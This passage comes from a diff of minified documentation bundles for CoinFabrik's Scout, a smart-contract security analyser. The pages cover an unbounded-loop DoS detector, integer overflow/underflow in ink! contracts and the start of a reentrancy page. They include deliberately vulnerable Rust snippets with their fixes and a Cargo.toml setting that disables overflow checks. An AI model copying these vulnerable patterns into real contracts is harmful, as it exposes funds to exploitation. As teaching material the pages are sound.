to a specific range, it could potentially cause out of gas exceptions."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"False positives are to be expected when using variables that can only be set using controlled flows that limit the values within acceptable ranges."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn pay_out(&mut self) {\n for i in 0..self.next_payee_ix {\n let payee = self.payees.get(&i).unwrap();\n self.env().transfer(payee.address, payee.value).unwrap();\n }\n}\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn pay_out(&mut self, payee: u128) {\n let payee = self.payees.get(&payee).unwrap();\n self.env().transfer(payee.address, payee.value).unwrap();\n}\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dos-unbounded-operation"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[8280],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var l=r.createContext({}),u=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=u(e.components);return r.createElement(l.Provider,{value:t},e.children)},c="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,l=e.parentName,p=s(e,["components","mdxType","originalType","parentName"]),c=u(n),m=o,f=c["".concat(l,".").concat(m)]||c[m]||d[m]||a;return n?r.createElement(f,i(i({ref:t},p),{},{components:n})):r.createElement(f,i({ref:t},p))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,i=new Array(a);i[0]=m;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[c]="string"==typeof e?e:o,i[1]=s;for(var u=2;u{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>s,toc:()=>u});var r=n(2564),o=(n(9496),n(9613));const a={},i="DoS unbounded operation",s={unversionedId:"detectors/dos-unbounded-operation",id:"detectors/dos-unbounded-operation",title:"DoS unbounded operation",description:"What it does",source:"@site/docs/detectors/6-dos-unbounded-operation.md",sourceDirName:"detectors",slug:"/detectors/dos-unbounded-operation",permalink:"/scout/docs/detectors/dos-unbounded-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/6-dos-unbounded-operation.md",tags:[],version:"current",sidebarPosition:6,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unused return enum",permalink:"/scout/docs/detectors/unused-return-enum"},next:{title:"DoS unexpected revert with vector",permalink:"/scout/docs/detectors/dos-unexpected-revert-with-vector"}},l={},u=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:u},c="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(c,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dos-unbounded-operation"},"DoS unbounded operation"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"This detector checks that when using ",(0,o.kt)("inlineCode",{parentName:"p"},"for")," or ",(0,o.kt)("inlineCode",{parentName:"p"},"while")," loops, their conditions limit the execution to a constant number of iterations."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If the number of iterations is not limited to a specific range, it could potentially cause out of gas exceptions."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"False positives are to be expected when using variables that can only be set using controlled flows that limit the values within acceptable ranges."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn pay_out(&mut self) {\n for i in 0..self.next_payee_ix {\n let payee = self.payees.get(&i).unwrap();\n self.env().transfer(payee.address, payee.value).unwrap();\n }\n}\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn pay_out(&mut self, payee: u128) {\n let payee = self.payees.get(&payee).unwrap();\n self.env().transfer(payee.address, payee.value).unwrap();\n}\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dos-unbounded-operation"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/5182c60c.2d354deb.js b/assets/js/5182c60c.2d354deb.js new file mode 100644 index 00000000..bf64e2b0 --- /dev/null +++ b/assets/js/5182c60c.2d354deb.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9363],{9613:(e,t,r)=>{r.d(t,{Zo:()=>c,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function l(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var s=n.createContext({}),u=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):l(l({},t),e)),r},c=function(e){var t=u(e.components);return n.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,s=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),p=u(r),m=o,f=p["".concat(s,".").concat(m)]||p[m]||d[m]||a;return r?n.createElement(f,l(l({ref:t},c),{},{components:r})):n.createElement(f,l({ref:t},c))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,l=new Array(a);l[0]=m;var i={};for(var s in t)hasOwnProperty.call(t,s)&&(i[s]=t[s]);i.originalType=e,i[p]="string"==typeof e?e:o,l[1]=i;for(var u=2;u{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>d,frontMatter:()=>a,metadata:()=>i,toc:()=>u});var n=r(2564),o=(r(9496),r(9613));const a={},l="Integer overflow or underflow",i={unversionedId:"vulnerabilities/integer-overflow-or-underflow",id:"vulnerabilities/integer-overflow-or-underflow",title:"Integer overflow or underflow",description:"Description",source:"@site/docs/vulnerabilities/1-integer-overflow-or-underflow.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/integer-overflow-or-underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/1-integer-overflow-or-underflow.md",tags:[],version:"current",sidebarPosition:1,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Vulnerabilities",permalink:"/scout/docs/vulnerabilities/"},next:{title:"Set contract storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(p,(0,n.Z)({},c,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"integer-overflow-or-underflow"},"Integer overflow or underflow"),(0,o.kt)("h2",{id:"description"},"Description"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,o.kt)("inlineCode",{parentName:"li"},"Arithmetic")),(0,o.kt)("li",{parentName:"ul"},"Severity: ",(0,o.kt)("inlineCode",{parentName:"li"},"Critical")),(0,o.kt)("li",{parentName:"ul"},"Detectors: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/integer-overflow-or-underflow"},(0,o.kt)("inlineCode",{parentName:"a"},"integer-overflow-or-underflow"))),(0,o.kt)("li",{parentName:"ul"},"Test Cases: ",(0,o.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1"},(0,o.kt)("inlineCode",{parentName:"a"},"integer-overflow-or-underflow-1")))),(0,o.kt)("p",null,"This type of vulnerability occurs when an arithmetic operation attempts to\ncreate a numeric value that is outside the valid range in substrate, e.g,\nan ",(0,o.kt)("inlineCode",{parentName:"p"},"u8")," unsigned integer can be at most ",(0,o.kt)("em",{parentName:"p"},"M:=2^8-1=255"),", hence the sum ",(0,o.kt)("em",{parentName:"p"},"M+1"),"\nproduces an overflow. "),(0,o.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,o.kt)("p",null,"There follows a snippet of a simple ",(0,o.kt)("inlineCode",{parentName:"p"},"ink!")," smart contract that is vulnerable to\nan integer overflow vulnerability."),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u8) {\n self.value += value;\n}\n\n#[ink(message)]\npub fn sub(&mut self, value: u8) {\n self.value -= value;\n}\n")),(0,o.kt)("p",null,"The above contract stores a single value of type ",(0,o.kt)("inlineCode",{parentName:"p"},"u8")," and provides three\nfunctions allowing interaction with the single value.\nThe ",(0,o.kt)("inlineCode",{parentName:"p"},"add()")," function allows users to add a specified amount to the stored value,\nthe ",(0,o.kt)("inlineCode",{parentName:"p"},"sub()")," function allows users to subtract a specified amount, while the\n",(0,o.kt)("inlineCode",{parentName:"p"},"get()")," function allows users to retrieve the current value."),(0,o.kt)("p",null,"This contract is vulnerable to an integer overflow attack that may be exercised\nif a user adds a value that exceeds the maximum value that can be stored in an\n",(0,o.kt)("inlineCode",{parentName:"p"},"u8")," variable, then the addition operation overflows the variable and the value\nwraps to zero (ignoring the carry), potentially leading to unexpected behavior."),(0,o.kt)("p",null,"The vulnerable code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1/vulnerable-example/src/lib.rs"},"here"),"."),(0,o.kt)("h3",{id:"deployment"},"Deployment"),(0,o.kt)("p",null,"Before deployment, the contract must be built using the tool ",(0,o.kt)("inlineCode",{parentName:"p"},"cargo-contract"),":"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-shell"},"cargo contract build --release\n")),(0,o.kt)("p",null,"Following that, the contract can be deployed either by using ",(0,o.kt)("inlineCode",{parentName:"p"},"cargo-contract"),"\nor a GUI tool (e.g., ",(0,o.kt)("a",{parentName:"p",href:"https://contracts-ui.substrate.io/"},"https://contracts-ui.substrate.io/"),"):"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-shell"},"cargo contract instantiate --constructor new --args 0 --suri //Alice\n")),(0,o.kt)("h2",{id:"remediation"},"Remediation"),(0,o.kt)("p",null,"It is recommended that the code be changed to explicitly use checked, overflowing, or saturating arithmetic. For example:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n /// An underflow was produced while substracting\n UnderflowError,\n}\n')),(0,o.kt)("p",null,"The problematic functions can be updated as follows:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u8) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n\n#[ink(message)]\npub fn sub(&mut self, value: u8) -> Result<(), Error> {\n match self.value.checked_sub(value) {\n Some(v) => self.value = v,\n None => return Err(Error::UnderflowError),\n };\n Ok(())\n}\n")),(0,o.kt)("p",null,"The remediated code example can be found ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1/remediated-example/src/lib.rs"},"here"),"."),(0,o.kt)("p",null,"Other rules could be added to improve the checking. The set of rules can be found ",(0,o.kt)("a",{parentName:"p",href:"https://rust-lang.github.io/rust-clippy/master/"},"here"),"."),(0,o.kt)("h2",{id:"references"},"References"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-101"},"SWC-101")),(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/levels/Token.sol"},"Ethernaut: Token")),(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://github.com/ethereum/solidity/issues/796#issuecomment-253578925"},"20 cases of overflow/underflow")),(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#ouflow"},"https://blog.sigmaprime.io/solidity-security.html#ouflow"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/5182c60c.4a6268b5.js b/assets/js/5182c60c.4a6268b5.js deleted file mode 100644 index 4bc28062..00000000 --- a/assets/js/5182c60c.4a6268b5.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[9363],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=r.createContext({}),u=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},c=function(e){var t=u(e.components);return r.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,s=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),p=u(n),f=a,m=p["".concat(s,".").concat(f)]||p[f]||d[f]||o;return n?r.createElement(m,l(l({ref:t},c),{},{components:n})):r.createElement(m,l({ref:t},c))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,l=new Array(o);l[0]=f;var i={};for(var s in t)hasOwnProperty.call(t,s)&&(i[s]=t[s]);i.originalType=e,i[p]="string"==typeof e?e:a,l[1]=i;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>d,frontMatter:()=>o,metadata:()=>i,toc:()=>u});var r=n(2564),a=(n(9496),n(9613));const o={},l="Integer overflow or underflow",i={unversionedId:"vulnerabilities/integer-overflow-or-underflow",id:"vulnerabilities/integer-overflow-or-underflow",title:"Integer overflow or underflow",description:"Description",source:"@site/docs/vulnerabilities/1-integer-overflow-or-underflow.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/integer-overflow-or-underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/1-integer-overflow-or-underflow.md",tags:[],version:"current",sidebarPosition:1,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Vulnerabilities",permalink:"/scout/docs/vulnerabilities/"},next:{title:"Set contract storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(p,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"integer-overflow-or-underflow"},"Integer overflow or underflow"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Arithmetic")),(0,a.kt)("li",{parentName:"ul"},"Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Critical")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/integer-overflow-or-underflow"},(0,a.kt)("inlineCode",{parentName:"a"},"integer-overflow-or-underflow"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1"},(0,a.kt)("inlineCode",{parentName:"a"},"integer-overflow-or-underflow-1")))),(0,a.kt)("p",null,"This type of vulnerability occurs when an arithmetic operation attempts to\ncreate a numeric value that is outside the valid range in substrate, e.g,\nan ",(0,a.kt)("inlineCode",{parentName:"p"},"u8")," unsigned integer can be at most ",(0,a.kt)("em",{parentName:"p"},"M:=2^8-1=255"),", hence the sum ",(0,a.kt)("em",{parentName:"p"},"M+1"),"\nproduces an overflow. "),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"There follows a snippet of a simple ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," smart contract that is vulnerable to\nan integer overflow vulnerability."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u8) {\n self.value += value;\n}\n\n#[ink(message)]\npub fn sub(&mut self, value: u8) {\n self.value -= value;\n}\n")),(0,a.kt)("p",null,"The above contract stores a single value of type ",(0,a.kt)("inlineCode",{parentName:"p"},"u8")," and provides three\nfunctions allowing interaction with the single value.\nThe ",(0,a.kt)("inlineCode",{parentName:"p"},"add()")," function allows users to add a specified amount to the stored value,\nthe ",(0,a.kt)("inlineCode",{parentName:"p"},"sub()")," function allows users to subtract a specified amount, while the\n",(0,a.kt)("inlineCode",{parentName:"p"},"get()")," function allows users to retrieve the current value."),(0,a.kt)("p",null,"This contract is vulnerable to an integer overflow attack that may be exercised\nif a user adds a value that exceeds the maximum value that can be stored in an\n",(0,a.kt)("inlineCode",{parentName:"p"},"u8")," variable, then the addition operation overflows the variable and the value\nwraps to zero (ignoring the carry), potentially leading to unexpected behavior."),(0,a.kt)("p",null,"This vulnerability is effectively realized if overflow and underflow checks are\ndisabled at the time of compilation. This can be done by modifying the\n",(0,a.kt)("inlineCode",{parentName:"p"},"Cargo.toml")," file with the following configuration:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-toml"},"[profile.release]\noverflow-checks = false\n")),(0,a.kt)("p",null,"This way, the overflow checks will be disabled whenever the contract is built\nusing the ",(0,a.kt)("inlineCode",{parentName:"p"},"release")," profile. More info can be found\n",(0,a.kt)("a",{parentName:"p",href:"https://doc.rust-lang.org/cargo/reference/profiles.html"},"here"),". "),(0,a.kt)("p",null,"Please note that if the check is enabled, the vulnerability will not be exploitable, but a panic error will be raised. Raising a panic error is not the recommended way to handle this type of issue. In the Remediation section below, we explain a better approach to address it."),(0,a.kt)("p",null,"To deploy this smart contract, you would need to compile it using the ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!"),"\ncompiler and deploy it to a Polkadot Substrate network using a suitable\ndeployment tool such as Polkadot JS. Once deployed, users could interact with\nthe contract by calling its functions using a compatible wallet or blockchain\nexplorer."),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1/vulnerable-example/lib.rs"},"here"),"."),(0,a.kt)("h3",{id:"deployment"},"Deployment"),(0,a.kt)("p",null,"Before deployment, the contract must be built using the tool ",(0,a.kt)("inlineCode",{parentName:"p"},"cargo-contract"),":"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-shell"},"cargo contract build --release\n")),(0,a.kt)("p",null,"Following that, the contract can be deployed either by using ",(0,a.kt)("inlineCode",{parentName:"p"},"cargo-contract"),"\nor a GUI tool (e.g., ",(0,a.kt)("a",{parentName:"p",href:"https://contracts-ui.substrate.io/"},"https://contracts-ui.substrate.io/"),"):"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-shell"},"cargo contract instantiate --constructor new --args 0 --suri //Alice\n")),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"Even though enabling the overflow/underflow checks in the ",(0,a.kt)("inlineCode",{parentName:"p"},"Cargo.toml")," would eliminate the possibility of the\nvulnerability being realized, a panic error would still be raised."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-toml"},"[profile.release]\noverflow-checks = true\n")),(0,a.kt)("p",null,"All in all, considering that this check might be disabled and that raising a panic error is not the best way to handle this issue, it is recommended that the code be changed to explicitly use checked, overflowing, or saturating arithmetic. For example:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n /// An underflow was produced while substracting\n UnderflowError,\n}\n')),(0,a.kt)("p",null,"The problematic functions can be updated as follows:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn add(&mut self, value: u8) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n\n#[ink(message)]\npub fn sub(&mut self, value: u8) -> Result<(), Error> {\n match self.value.checked_sub(value) {\n Some(v) => self.value = v,\n None => return Err(Error::UnderflowError),\n };\n Ok(())\n}\n")),(0,a.kt)("p",null,"The remediated code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/integer-overflow-or-underflow/integer-overflow-or-underflow-1/remediated-example/lib.rs"},"here"),"."),(0,a.kt)("p",null,"Other rules could be added to improve the checking. The set of rules can be found ",(0,a.kt)("a",{parentName:"p",href:"https://rust-lang.github.io/rust-clippy/master/"},"here"),"."),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-101"},"SWC-101")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE"},"Ethernaut: Token")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/ethereum/solidity/issues/796#issuecomment-253578925"},"20 cases of overflow/underflow")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#ouflow"},"https://blog.sigmaprime.io/solidity-security.html#ouflow"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/51bdbc41.90e0ebd6.js b/assets/js/51bdbc41.90e0ebd6.js new file mode 100644 index 00000000..36662e40 --- /dev/null +++ b/assets/js/51bdbc41.90e0ebd6.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[6516],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>h});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function i(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var o=a.createContext({}),s=function(e){var t=a.useContext(o),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},u=function(e){var t=s(e.components);return a.createElement(o.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,o=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),p=s(n),d=r,h=p["".concat(o,".").concat(d)]||p[d]||m[d]||l;return n?a.createElement(h,i(i({ref:t},u),{},{components:n})):a.createElement(h,i({ref:t},u))}));function h(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,i=new Array(l);i[0]=d;var c={};for(var o in t)hasOwnProperty.call(t,o)&&(c[o]=t[o]);c.originalType=e,c[p]="string"==typeof e?e:r,i[1]=c;for(var s=2;s{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>m,frontMatter:()=>l,metadata:()=>c,toc:()=>s});var a=n(2564),r=(n(9496),n(9613));const l={},i="Reentrancy",c={unversionedId:"vulnerabilities/reentrancy",id:"vulnerabilities/reentrancy",title:"Reentrancy",description:"Description",source:"@site/docs/vulnerabilities/3-reentrancy.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/3-reentrancy.md",tags:[],version:"current",sidebarPosition:3,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Set contract storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage"},next:{title:"Panic Error",permalink:"/scout/docs/vulnerabilities/panic-error"}},o={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Recommendation",id:"recommendation",level:2},{value:"References",id:"references",level:2}],u={toc:s},p="wrapper";function m(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"reentrancy"},"Reentrancy"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Reentrancy")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-1")),", ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-2"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-2"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-1"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-1")),", ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/reentrancy-1/reentrancy-1-2"},(0,r.kt)("inlineCode",{parentName:"a"},"reentrancy-2")),", 